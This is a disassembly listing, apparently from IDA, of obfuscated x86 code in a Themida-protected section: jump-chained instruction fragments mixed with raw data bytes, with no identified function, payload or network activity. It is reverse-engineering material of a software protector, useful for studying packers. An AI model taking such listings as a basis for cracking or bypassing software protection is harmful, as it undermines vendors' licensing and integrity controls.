dd 0E9240489h, 0FFFF1674h
; ---------------------------------------------------------------------------
loc_551098: ; CODE XREF: Themida_:0054F9A2j
mov bh, cl
jmp loc_54CB8D
; ---------------------------------------------------------------------------
db 1
dd 48E981E9h, 8B0A7C2Ah, 0C483242Ch, 4EC8304h, 0BA241489h
dd 14DF79D3h, 0FFD347E9h, 5FFE29FFh, 348BF301h, 4C48324h
dd 0E904C383h, 4472h
; ---------------------------------------------------------------------------
loc_5510D0: ; CODE XREF: Themida_:0054916Cj
push edx
jmp loc_555E15
; ---------------------------------------------------------------------------
dw 0BD55h
dd 1E46496Bh, 0B4EB8ABAh, 17C28161h, 12BA87Bh, 0D47FE9EAh
dd 4040FFFFh, 2E1C8A35h, 500BE970h, 34FF0000h, 0C4835B24h
dd 24048F04h, 24048F5Ch, 2404895Ch, 8B2434FFh, 48682414h
dd 8900005Bh, 0E6892434h, 4C681h, 0BB530000h, 4, 875BDE01h
dd 525C2434h, 0E950E289h, 0FFFF1E3Bh, 93E9E389h, 5C00005Bh
dd 5D5468h, 24148900h, 0FFA958E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55114D: ; CODE XREF: Themida_:0055450Fj
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push ecx
jmp loc_54A8CE
; ---------------------------------------------------------------------------
aO1 db '-®1¸',0
dd 0DCE9C189h
db 0Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55116F: ; CODE XREF: Themida_:0054CFCEj
shl ebx, 1
jmp loc_54D7BE
; ---------------------------------------------------------------------------
dw 0E589h
dd 8904EC83h, 6850241Ch, 67151297h, 0FFF8E9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551189: ; CODE XREF: Themida_:00547A90j
add edi, 4
xchg edi, [esp]
jmp loc_54D580
; ---------------------------------------------------------------------------
db 5Ah
dd 205h, 24048700h, 243CD25Ch, 1562E99Ch, 0E95AFFFFh, 0FFFF23AEh
dd 0E924248Bh, 0FFFF6735h, 7388F681h, 0D6F743DAh, 8146D6F7h
dd 724433EEh, 0C4E95563h, 5AFFFF7Dh, 4C481h, 62680000h
dd 89000031h, 0E955243Ch, 147Ah, 37E9C729h, 57000008h
dd 307BB850h, 0D8F72F08h, 4008E0C1h, 0FF30BEE9h, 3E0C1FFh
dd 0B58B0E35h, 0E9C589DCh, 246Ah, 0E987D5F7h, 0DF74F181h
dd 0CDE97AEBh, 0B600003Bh, 0A1C680A3h, 0CEFEDEF6h, 3030C680h
dd 88E95AF5h
db 11h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55122F: ; CODE XREF: Themida_:00544826j
xchg ebx, [esp]
jmp loc_553B9E
; ---------------------------------------------------------------------------
db 8Bh
dd 54572404h, 4C7815Fh, 83000000h, 3C8704C7h, 0C3015C24h
dd 8904EC83h, 0D6BD242Ch, 81210F69h, 79083AF5h, 14F7552Fh
dd 0E2E95D24h, 83FFFFC4h, 3C3304C7h, 243C3124h, 5C243C33h
dd 0FFD235E9h, 240487FFh, 5FC7E9h, 0EBC05900h, 6EBC002h
dd 0E992C380h, 0FFFF90FDh
; ---------------------------------------------------------------------------
loc_551290: ; CODE XREF: Themida_:0054FDFBj
pop esp
jmp loc_54B89D
; ---------------------------------------------------------------------------
dw 84BAh
dd 812DEA42h, 0AE6C12E2h, 0D2F74203h, 0BAE9DAF7h, 55FFFFC7h
dd 16ADBE56h, 67BD2945h, 29A4AB6Ah, 0F5815EF5h, 66144360h
dd 0C104EDC1h, 0ED8106E5h, 72042BD3h, 5039C581h, 4AE977A3h
dd 81FFFF49h, 63843C1h, 17BA5256h, 0C14ADC22h, 0EAC105EAh
dd 2E2C108h, 0E906E2C1h, 0FFFF4EC7h, 68h, 95685100h, 8B5ED90Fh
dd 0C483240Ch, 244C0104h, 1C295904h, 95685124h, 8B5ED90Fh
dd 0E952240Ch, 18DEh, 0B3536304h, 5BD82872h, 7204F828h
dd 5366632Ch, 3666E9h
db 0
; ---------------------------------------------------------------------------
loc_551331: ; CODE XREF: Themida_:00547C17j
and ecx, 633A15D3h
add ecx, 0D3F3C5CFh
sub edi, ecx
jmp loc_549E07
; ---------------------------------------------------------------------------
dd 4C381h, 0BCE90000h
db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55134F: ; CODE XREF: Themida_:0054448Ej
dec esi
jmp loc_55200B
; ---------------------------------------------------------------------------
db 81h, 0EFh, 0D3h
dd 0FF169864h, 43E92434h, 0D1FFFF4Dh, 0FDC681EEh, 8946DD0Fh
dd 24348BF2h, 4C481h, 0EB810000h, 70D05C87h, 0FFF5FAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551381: ; CODE XREF: Themida_:005499FDj
add esp, 4
jmp loc_54B33B
; ---------------------------------------------------------------------------
loc_55138C: ; CODE XREF: Themida_:0055391Dj
xchg eax, [esp]
pop esp
mov [esp], ecx
pop ebx
pop ecx
add ebx, 0FFFFFFFFh
sub ebx, 0EE9C5F1Bh
add edx, ebx
mov ebx, [esp]
add esp, 4
xor edx, 1FAEDC78h
sub edx, 192120C5h
push ebx
jmp loc_54700B
; ---------------------------------------------------------------------------
loc_5513BB: ; CODE XREF: Themida_:005528C3j
mov [esp], ebx
sub dword ptr [esp], 1D4B4B9Dh
mov esi, [esp]
add esp, 4
jmp loc_546E7C
; ---------------------------------------------------------------------------
db 0C1h
dd 0F18105E1h, 82001004h, 5159CB01h, 0AF3E4DB9h, 0EC18145h
dd 0E950A440h, 0FFFF7DECh, 5C241487h, 83243489h, 1C8904ECh
dd 17D3BB24h, 5E5374C5h, 81241C8Bh, 4C4h, 0FFF73100h, 835E2434h
dd 0E95104C4h, 1230h, 0A604EBAh, 0B8F28104h, 17D7E72h
dd 0C7815AD7h, 0D785C2B0h, 3EA6E981h, 0F929018Eh, 0FF7228E9h
dd 1C0BBBFFh, 0D9211511h, 0FFC1815Bh, 8102087Bh, 0AD8E58F1h
dd 0E9CB2941h, 60ADh, 0E9242C89h, 0FFFF625Eh
; ---------------------------------------------------------------------------
loc_551460: ; CODE XREF: Themida_:0054A562j
pop ebx
add edi, 0B7D434Ah
add edi, ecx
jmp loc_548AFF
; ---------------------------------------------------------------------------
loc_55146E: ; CODE XREF: Themida_:005523E9j
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
sar dword ptr [esp], cl
pushf
jmp loc_54270C
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 8
dd 156BF281h, 0D0092070h, 0FF3BE2E9h, 0A1EE81FFh, 0E907C440h
dd 0FFFFAE9Fh, 0C4E9D601h, 68FFFF93h, 59F7h, 116EE9h, 241C8B00h
dd 0FFA24EE9h, 77BE56FFh, 0E91E387Dh, 47Ah, 9ABB5350h
dd 890C332Bh, 83405BD8h, 0BB53FFE8h, 6CEA2F4Ah, 1C8BD831h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
jmp loc_5550CC
; ---------------------------------------------------------------------------
db 81h, 0C2h, 4
dd 81000000h, 4EAh, 2197E900h, 4B90000h, 1000000h, 0BD5559C8h
dd 4, 9F8E9h, 70E95D00h
db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55150B: ; CODE XREF: Themida_:0054F0A2j
add ebp, 0D9D5563h
not ebp
push 4ABh
mov [esp], esi
mov esi, 3FE761D0h
jmp loc_54EB0B
; ---------------------------------------------------------------------------
db 2Ch, 0FEh, 0E9h
dd 0FFFF903Bh, 592434FFh, 39FD68h, 24348900h, 0FF2B1BE9h
dd 0E90D2CFFh, 0FFFF5107h
; ---------------------------------------------------------------------------
loc_551544: ; CODE XREF: Themida_:0054B2B1j
pop edx
jmp loc_555437
; ---------------------------------------------------------------------------
loc_55154A: ; CODE XREF: Themida_:00542D63j
sub dword ptr [esp], 14FC3293h
pop ecx
jmp loc_556D63
; ---------------------------------------------------------------------------
db 89h
dd 2CE9241Ch, 1FFFF8Bh, 8B04246Ch, 8953242Ch, 4C381E3h
dd 0E9000000h, 0FFFF9410h
; ---------------------------------------------------------------------------
loc_551574: ; CODE XREF: Themida_:00553F6Dj
xor ebp, 0C33DE35Fh
or edi, ebp
mov ebp, [esp]
jmp loc_55632F
; ---------------------------------------------------------------------------
dd 0C15BD829h, 0CC2D07E8h, 407A8950h, 0FB38B205h, 6844350Ch
dd 0C131BDEDh, 8324048Bh, 1AE904C4h, 68000036h, 5905h
dd 53241489h, 25D4168h, 0C3815B06h, 35B7194h, 0F3814343h
dd 95DCED3h, 0E95BDA89h, 0FFFF7EA1h
; ---------------------------------------------------------------------------
loc_5515CC: ; CODE XREF: Themida_:0055327Fj
add edx, eax
push 5286h
mov [esp], esi
mov esi, 3EEB755Dh
sub edx, esi
pop esi
push edi
mov edi, 5C5A100Ah
xor edi, 1744024Ah
jmp loc_54EB59
; ---------------------------------------------------------------------------
loc_5515EF: ; CODE XREF: Themida_:00550FBCj
pop esp
mov [esp], esi
jmp loc_54EEA0
; ---------------------------------------------------------------------------
dd 75C6C281h, 0E9504B87h, 4DFDh, 565FFE01h, 42474FFh, 47B9E95Eh
dd 3C87FFFFh, 0C3015C24h, 7B9EC381h, 0E95811C6h, 0FFFF8E1Ch
dd 352768h, 243C8900h, 0FC795FBFh, 0D3B95130h, 179BA4Eh
dd 0EA8159CAh, 4E1D611Dh, 0C281FA01h, 4E1D611Dh, 4ED3EA81h
dd 575F79BAh, 152D65BFh, 0C1F8E96Ch, 0CB6FFFFh, 28B6C680h
dd 0CBFE5AF3h, 0EB80DBF6h, 5BD8280Ch, 592434FFh, 4C481h
dd 0BEE90000h, 5FFFFF2Bh, 0E95EF101h, 0FFFF864Ch, 31241433h
dd 14332414h, 24248B24h, 0E99CC138h, 0FFFF43DEh, 0E95EF329h
dd 579Fh
; ---------------------------------------------------------------------------
loc_5516A0: ; CODE XREF: Themida_:00547279j
add ebp, edi
pop edi
jmp loc_547053
; ---------------------------------------------------------------------------
dd 8B24248Bh, 0FB682404h, 0E9000016h, 0FFFFA58Ah
; ---------------------------------------------------------------------------
loc_5516B8: ; CODE XREF: Themida_:005505E6j
push edi
mov edi, 721F44DBh
mov ebp, 0B813FEC7h
jmp loc_54B7BC
; ---------------------------------------------------------------------------
dd 4C28359h, 2474FF52h, 48F5A04h, 348B5C24h, 4C48324h
dd 8B240C87h, 8B662424h, 0C3682414h, 89000065h, 0EC832434h
dd 18E95404h, 8100000Ch, 0A1B6FDEEh, 27CFE956h, 6C29FFFFh
dd 2C8B0424h, 4C48124h, 81000000h, 0ED32404h, 4297C40h
dd 242C8124h, 7C400ED3h, 398DE9h
db 0
; ---------------------------------------------------------------------------
loc_551725: ; CODE XREF: Themida_:00551D5Fj
push 5E6Dh
mov [esp], ecx
jmp loc_555A8D
; ---------------------------------------------------------------------------
loc_551732: ; CODE XREF: Themida_:0054B367j
sub esp, 4
mov [esp], eax
add dword ptr [esp], 3F1F0897h
mov ecx, [esp]
add esp, 4
sub ecx, 3F1F0897h
mov ebp, ecx
mov ecx, [esp]
add esp, 4
mov eax, [esp]
jmp loc_5518D8
; ---------------------------------------------------------------------------
dw 0C729h
dd 2EFC158h, 68h, 68565500h, 555C306Dh, 0FFDAF1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551775: ; CODE XREF: Themida_:00546EB3j
push 1EE8h
mov [esp], esi
mov esi, 463F3081h
not esi
add esi, 1AB61E77h
push ecx
mov ecx, 54355AFEh
xor esi, ecx
pop ecx
add esi, 7FBC48F9h
add ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
xchg ebx, [esp]
mov esp, [esp]
push ebx
push 1AEh
mov [esp], ebp
jmp loc_54E902
; ---------------------------------------------------------------------------
loc_5517B9: ; CODE XREF: Themida_:00546A9Dj
or eax, 667E6992h
jmp loc_54C023
; ---------------------------------------------------------------------------
loc_5517C3: ; CODE XREF: Themida_:00557556j
add ecx, ebx
jmp loc_54C3DE
; ---------------------------------------------------------------------------
dw 0C5BAh
dd 2925269Dh, 0C2815FFAh, 1, 6560B850h, 3D353063h, 0E92EF80Bh
dd 0FFFFF906h, 0C381E389h, 4, 8BA5251h, 50396C41h, 0B431A368h
dd 103DE917h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551802: ; CODE XREF: Themida_:00554767j
xchg eax, ebx
push ebx
xchg edi, [esp]
not edi
push edi
jmp loc_550A93
; ---------------------------------------------------------------------------
loc_55180F: ; CODE XREF: Themida_:0054CC51j
pop ebx
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
sub ebx, 4
jmp loc_5455E2
; ---------------------------------------------------------------------------
db 81h, 0C1h, 0AEh
dd 13F9254h, 2434FFCEh, 4C48359h, 390DE951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551836: ; CODE XREF: Themida_:00557581j
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
push 3B86h
mov [esp], edx
jmp loc_542BD2
; ---------------------------------------------------------------------------
dd 4EC835Ah, 0BE243489h, 0C9F7BE9h, 8101EE83h, 0E15052EEh
dd 5EF029E7h, 0E953D801h, 0FFFF461Ch, 31241433h, 14332414h
dd 0B8E95C24h
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55187F: ; CODE XREF: Themida_:00549BDBj
mov dl, 5Ah
shr dl, 1
add dl, 0F3h
mov cl, dl
pop edx
or cl, 0F0h
sub cl, 3Ch
jmp loc_54B88D
; ---------------------------------------------------------------------------
dd 0A73B270Dh, 26910D63h, 9050D28h, 577C971h, 28537479h
dd 248E9h, 0D3015E00h, 3F3CC381h, 64E9404Ch, 8900002Ch
dd 6852241Ch, 46211BBDh, 0E924148Bh, 0FFFF56B3h, 0D6ED815Fh
dd 0E9068041h, 0FFFF621Dh
; ---------------------------------------------------------------------------
loc_5518D8: ; CODE XREF: Themida_:00551759j
add esp, 4
sub ebp, 60D904D6h
jmp loc_547BA0
; ---------------------------------------------------------------------------
loc_5518E6: ; CODE XREF: Themida_:005509B5j
sub esp, 4
mov [esp], edx
push edi
push 10D04710h
pop edi
inc edi
sub edi, 992E1BC0h
push ebp
mov ebp, edi
mov edx, ebp
pop ebp
pop edi
push eax
push 887DD4AFh
mov eax, [esp]
push eax
push esp
jmp loc_55335F
; ---------------------------------------------------------------------------
loc_551914: ; CODE XREF: Themida_:0055268Aj
pop ecx
mov edi, ebx
pop ebx
jmp loc_54FAB6
; ---------------------------------------------------------------------------
db 31h, 74h, 24h
dd 77E95E04h, 53FFFF94h, 0FF1036E9h, 83FF04FFh, 1C8904ECh
dd 5014E924h, 7429FFFFh, 0E95E0824h, 1E94h
; ---------------------------------------------------------------------------
loc_551944: ; CODE XREF: Themida_:0054E612j
xchg edx, [esp]
pop esp
mov [esp], eax
mov eax, 0D5D2F004h
add ebp, eax
pop eax
push ebp
sub dword ptr [esp], 3C940361h
pop ebx
add ebx, 3C940361h
pop ebp
and ecx, ebx
mov ebx, [esp]
jmp loc_5527B4
; ---------------------------------------------------------------------------
loc_55196D: ; CODE XREF: Themida_:00553E71j
push esp
pop eax
add eax, 4
sub eax, 4
xchg eax, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_5568D1
; ---------------------------------------------------------------------------
loc_55198F: ; CODE XREF: Themida_:0054E741j
add esi, 4
push eax
mov eax, 4
add esi, 7FE37045h
jmp loc_54EF0D
; ---------------------------------------------------------------------------
loc_5519A6: ; CODE XREF: Themida_:00549E4Bj
xchg ecx, [esp]
pop esp
loc_5519AA: ; CODE XREF: Themida_:00546A6Aj
push edx
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_547A7A
; ---------------------------------------------------------------------------
dd 285C70BAh, 0CA814A22h, 29796AD1h, 7635F281h, 0E2C170CBh
dd 2CF28102h, 0E96EC823h, 0FFFF4CBCh, 8BBA52ADh, 2D5DF141h
dd 228D4B2Eh, 0B951D029h, 6A2E7B4Fh, 37EBC981h, 0E9814E74h
dd 0D4841DAh, 8104E1C1h, 2969DEC1h, 7878E90Fh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551A16: ; CODE XREF: Themida_:0054B7BEj
pop edi
add ebp, 0DD742D36h
jmp loc_54CF98
; ---------------------------------------------------------------------------
dw 0C781h
dd 318A58FAh, 20C3C781h, 1580DE5h, 93BB53CFh, 81543A4Bh
dd 0F540FAF3h, 46CB8136h, 0F7513B24h, 0E6F381D3h, 812FD53Ah
dd 211871C3h, 5BDF0179h, 243C3359h, 33243C31h, 248B243Ch
dd 7BDAE924h, 0F001FFFFh, 0FF38A4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551A6D: ; CODE XREF: Themida_:0054ADE1j
push dword ptr [esp]
pop edi
add esp, 4
mov dword ptr [edx+30h], 1C547412h
xor [edx+30h], ebx
jmp loc_544A65
; ---------------------------------------------------------------------------
dw 148Bh
dd 4C48324h, 4EC81h, 4890000h, 1172E924h, 0F381FFFFh, 18D03EA2h
dd 6C69EB81h, 16E9192Ch
db 98h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551AAB: ; CODE XREF: Themida_:00544F75j
pop edi
pop ebp
jmp loc_553642
; ---------------------------------------------------------------------------
loc_551AB2: ; CODE XREF: Themida_:00544998j
mov esi, 667156FCh
xor edi, esi
pop esi
push edi
sub dword ptr [esp], 3B8F697Bh
pop edx
add edx, 3B8F697Bh
mov edi, [esp]
add esp, 4
sub edi, 6E32362Ch
sub edi, 7870AA5h
add edi, edx
add edi, 7870AA5h
add edi, 6E32362Ch
pop edx
xor edi, [esp]
xor [esp], edi
jmp loc_556609
; ---------------------------------------------------------------------------
db 56h, 89h, 0C6h
dd 34FFF189h, 0C4835E24h, 8E95804h
db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551B07: ; CODE XREF: Themida_:00543F9Ej
add esp, 4
push 3DCAh
mov [esp], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esi
jmp loc_54F15F
; ---------------------------------------------------------------------------
dw 0EC81h
dd 4, 0BB241C89h, 2, 3848ED81h, 0C5814505h, 43E10110h
dd 0FF83F8E9h, 242C8BFFh, 0E904C483h, 0FFFF96A3h, 81242489h
dd 42404h, 565B0000h, 4BEh, 4775E900h, 815E0000h, 457A7BE9h
dd 0BABE560Ah, 110C4F6h, 24348BF1h, 0FF4CFBE9h, 243C89FFh
dd 53176BBFh, 5FFE2955h, 515EF301h, 0FF4AF1E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551B95: ; CODE XREF: Themida_:005432B9j
pop dword ptr [esp]
pop esp
jmp loc_556B2D
; ---------------------------------------------------------------------------
loc_551B9E: ; CODE XREF: Themida_:0055485Bj
or eax, esi
pop esi
shl eax, 1
push edx
jmp loc_54D610
; ---------------------------------------------------------------------------
db 81h, 0F6h, 3Ch
dd 89570551h, 24348BF1h, 4C481h, 0D9010000h, 0FF590103h
dd 1C8B2434h, 1C02E924h, 0D0F7FFFFh, 0FF5399E9h, 0FFD001FFh
dd 34FF2434h, 0C4835A24h, 4C48104h, 0E9000000h, 0FFFFCC1Ah
dd 815FFA29h, 351436F2h, 1C2815Ah, 0C1000000h, 0B95105EAh
dd 8C714D1h, 0F948E981h, 0F6E9C11Fh
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C0B: ; CODE XREF: Themida_:0054BE4Aj
pop esp
mov [esp], eax
jmp loc_54A1F2
; ---------------------------------------------------------------------------
dd 88EC8850h, 7D06E9E2h, 0C481FFFFh, 4, 0D800262Ch, 5038B753h
dd 0D5E925B0h, 0FFFFFF54h, 815F2434h, 4C4h, 4EC8100h, 89000000h
dd 0B7BD242Ch, 81494115h, 9D7BC3F5h, 0CA01E949h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551C56: ; CODE XREF: Themida_:00551076j
mov bh, 51h
add dh, bh
pop bx
xor dh, 47h
jmp loc_5470E0
; ---------------------------------------------------------------------------
dd 5F41E581h, 0D5F71E96h, 0D16DF581h, 5555BD10h, 0EE1607BDh
dd 6BD556Eh, 12C5F69h, 5D08246Ch, 4246C29h, 4246C81h, 2C5F6906h
dd 0ECE95B5Dh
db 66h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551C97: ; CODE XREF: Themida_:00546C71j
push small 5854h
mov [esp], ax
jmp loc_544407
; ---------------------------------------------------------------------------
dd 0FE04C483h, 0FFB252C1h, 0E95AD128h, 0FFFF9535h, 0C58001B0h
dd 80C52858h, 48B58EDh, 0E6895624h, 4C681h, 0C6830000h
dd 24348704h, 4810E95Ch, 0F888FFFFh, 24148B5Bh, 8804C483h
dd 885358C2h, 0E9FD88D7h, 0FFFFBACBh, 348BF329h, 0A076824h
dd 0FFE90000h, 0ADFFFF40h, 2E228E05h, 1C30E95Eh, 5068FFFFh
dd 5E0F192Bh, 72BD5550h, 0B8574B68h, 79C35F3Dh, 6EE9E831h
db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551D1F: ; CODE XREF: Themida_:00545CDAj
pop eax
sub esp, 4
jmp loc_547F6A
; ---------------------------------------------------------------------------
db 89h
dd 4C181E1h, 0E9000000h, 49B1h
; ---------------------------------------------------------------------------
loc_551D38: ; CODE XREF: Themida_:00548AEFj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
push eax
mov eax, 39FA7A89h
add eax, 0EEB0C131h
mov ebp, eax
pop eax
add ebx, ebp
pop ebp
add ebx, eax
jmp loc_551725
; ---------------------------------------------------------------------------
dd 38A0C681h, 0C601618Bh, 38A0EE81h, 48B618Bh, 4C48324h
dd 5C243487h, 24048B66h, 4EC81h, 14890000h, 0CD2E924h
dd 0F758FFFFh, 0A100E9D0h, 0C89FFFFh, 2434FF24h, 8324348Bh
dd 87E904C4h, 66000038h, 5224048Bh, 110FE9h, 4EC8300h
dd 0B1240C89h, 5051533Fh, 0E58800B4h, 8324048Bh, 0E5C004C4h
dd 0F6CDFE05h, 0C94EE9D5h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551DD2: ; CODE XREF: Themida_:0054B9BDj
dec eax
shl eax, 3
jmp loc_544CB1
; ---------------------------------------------------------------------------
loc_551DDB: ; CODE XREF: Themida_:0054C434j
xor edi, [esp]
jmp loc_55450B
; ---------------------------------------------------------------------------
db 83h
dd 8B6604C4h, 54522414h, 0E924148Bh, 0FFFF9659h
; ---------------------------------------------------------------------------
loc_551DF4: ; CODE XREF: Themida_:0054D3C6j
xor edx, ebx
push dword ptr [esp]
pop ebx
add esp, 4
shl edx, 2
xor edx, 0D1FD6A74h
jmp loc_552B8F
; ---------------------------------------------------------------------------
db 81h
dd 4C2h, 4EA8300h, 5C241487h, 0FFC08CE9h, 28CEB5FFh, 3CACE9E8h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551E26: ; CODE XREF: Themida_:0054B91Dj
sub edx, 39FB5FD9h
mov ebp, [esp]
add esp, 4
jmp loc_5521A3
; ---------------------------------------------------------------------------
dw 3487h
dd 0C895C24h, 5560B924h, 7FE9554Dh, 58FFFF5Eh, 82B4E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551E52: ; CODE XREF: Themida_:0055424Dj
add ebp, 4
xchg ebp, [esp]
jmp loc_549187
; ---------------------------------------------------------------------------
loc_551E60: ; CODE XREF: Themida_:00544650j
and eax, ecx
pop ecx
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_542897
; ---------------------------------------------------------------------------
loc_551E7E: ; CODE XREF: Themida_:0054A79Cj
mov [esp], eax
mov eax, 4
add edx, eax
jmp loc_544E54
; ---------------------------------------------------------------------------
loc_551E8D: ; CODE XREF: Themida_:00552A14j
mov ebx, 4
sub dword ptr [esp+4], 5A4B59A8h
add [esp+4], ebx
jmp loc_54AA18
; ---------------------------------------------------------------------------
loc_551EA3: ; CODE XREF: Themida_:005481DCj
pop edi
add ebx, 466609C6h
jmp loc_54CFDD
; ---------------------------------------------------------------------------
db 31h
dd 3AB9E9F3h, 0B850FFFFh, 0A2A59AD8h, 0E958C601h, 0FFFFB538h
; ---------------------------------------------------------------------------
loc_551EC4: ; CODE XREF: Themida_:005565A5j
sub eax, 71886069h
sub eax, 2FB15683h
add eax, ebx
push ebx
mov ebx, 3EE44DD2h
jmp loc_54B504
; ---------------------------------------------------------------------------
aPsS db 'Pé|S',0
db 0
; ---------------------------------------------------------------------------
loc_551EE1: ; CODE XREF: Themida_:00556B30j
push edx
jmp loc_554A90
; ---------------------------------------------------------------------------
loc_551EE7: ; CODE XREF: Themida_:00553437j
shr esi, 5
push ebp
mov ebp, 0D5BB272Ch
jmp loc_5460E7
; ---------------------------------------------------------------------------
db 0C1h, 0EEh, 7
dd 0FF22AAE9h, 5DE829FFh, 5C240487h, 89242C89h, 0DEE950E5h
dd 0F6FFFF88h, 2B5CE9DDh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551F16: ; CODE XREF: Themida_:0054A43Bj
xor edi, 0E0533C9h
xor edi, 2B5C2E1Fh
jmp loc_549572
; ---------------------------------------------------------------------------
db 5Ah
dd 0EC83C9FEh, 24048904h, 53FDB252h, 0FFEBB6E9h, 0E2685EFFh
dd 8900000Ah, 0DFB9240Ch, 31796072h, 0F78959CEh, 0E9F9295Eh
dd 0FFFF586Ch, 4E2076BAh, 5DEA312Fh, 1B1CE9h, 26EB8100h
dd 507EF96Bh, 4C2B1DB8h, 58C30101h, 0BF57EB01h, 5DF43BE4h
dd 0FFD4D8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_551F7D: ; CODE XREF: Themida_:0054EA34j
mov ecx, [esp]
add esp, 4
add esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
shr eax, 12h
xor eax, ecx
xor eax, ecx
xor ecx, eax
jmp loc_54A64B
; ---------------------------------------------------------------------------
loc_551FA1: ; CODE XREF: Themida_:0054F712j
neg edx
not edx
shr edx, 3
shl edx, 6
add edx, 8F02FDFFh
jmp loc_55664E
; ---------------------------------------------------------------------------
dw 0D835h
dd 0E9181270h, 4769h, 667D2C5Bh, 0ABB151h, 0C8B66C8h, 2C48324h
dd 0E952772Ch, 0FFFF63D4h
; ---------------------------------------------------------------------------
loc_551FD8: ; CODE XREF: Themida_:0054EB90j
mov ecx, 0D41F6808h
add edi, ecx
pop ecx
add edx, edi
mov edi, [esp]
add esp, 4
jmp loc_54270C
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5D04h, 24248B24h, 277B68h, 241C8900h, 30D8ABBh, 0D0E95258h
db 1Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55200B: ; CODE XREF: Themida_:00551350j
push ebx
jmp loc_552070
; ---------------------------------------------------------------------------
db 53h, 68h, 0CAh
dd 5B115B1Dh, 8102E3C1h, 6C772CF3h, 5BDF8945h, 0FFC304E9h
dd 56E389FFh, 0D40292BEh, 7E68E926h, 0C781FFFFh, 4, 4EC81h
dd 0C890000h, 2B924h, 0B8500000h, 1CF702E7h, 20C3EF81h
dd 0EAE90DE5h, 54FFFF37h, 5524348Bh, 0BEDFE954h, 34FFFFFFh
dd 0E9505824h, 400Eh
; ---------------------------------------------------------------------------
loc_552070: ; CODE XREF: Themida_:0055200Cj
mov ebx, 62536373h
or esi, ebx
pop ebx
xor esi, 3B88A1F7h
sub eax, esi
pop esi
and eax, 0ADF29D3h
jmp loc_54871C
; ---------------------------------------------------------------------------
db 66h
dd 83240C8Bh, 48904ECh, 83E08924h, 348904ECh, 8E76824h
dd 14890000h, 6C15BA24h, 71BE5B66h, 8100EC02h, 0D01349C6h
dd 81D6015Bh, 0D01349EEh, 0EE815A5Bh, 1, 0A0685357h, 0E931135Dh
dd 0FFFF44FFh, 74E9DF89h, 31FFFF6Dh, 0C12959C8h, 8B018958h
dd 8950240Ch, 903EE9E0h, 0BD55FFFFh, 4, 0E95DEE01h, 0FFFF7394h
; ---------------------------------------------------------------------------
loc_5520F8: ; CODE XREF: Themida_:005540DDj
mov ebp, [esp]
add esp, 4
xor esi, eax
mov eax, [esp]
jmp loc_54E13D
; ---------------------------------------------------------------------------
loc_55210B: ; CODE XREF: Themida_:00547F06j
add eax, 4
push ebp
jmp loc_546CA8
; ---------------------------------------------------------------------------
loc_552116: ; CODE XREF: Themida_:005570C5j
xor ebx, 0D255A8C3h
mov eax, 7FF238AEh
add eax, ebx
pop ebx
add edi, eax
pop eax
add ebx, edi
pop edi
sub esp, 4
jmp loc_54BFCF
; ---------------------------------------------------------------------------
db 29h, 0C2h, 81h
dd 95356AEAh, 57555748h, 0A950A0BFh, 5FFD8933h, 4D5ADCBFh
dd 5DEF2941h, 585FFA01h, 5EE9D001h, 0BF00004Ah, 65367D87h
dd 0EF81D7F7h, 5CF16151h, 815FFA09h, 4D351CCAh, 0D1C28162h
dd 811B235Ah, 375FE1E9h, 81D10102h, 375FE1C1h, 0C714E902h
dd 2D59FFFFh, 518E68DAh, 0DA05D829h, 0E9518E68h, 0FFFF8CA6h
dd 0D4E95A66h
db 10h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5521A3: ; CODE XREF: Themida_:00551E35j
add edx, edi
sub edx, 5EF711F1h
add dword ptr [edx], 1
jmp loc_54F2F7
; ---------------------------------------------------------------------------
loc_5521B6: ; CODE XREF: Themida_:0054E555j
push ebx
mov ebx, 76EE2FFBh
add ebx, 6E611D5Ch
xor ebx, 41F4F522h
add edx, ebx
pop ebx
and eax, edx
mov edx, [esp]
sub esp, 4
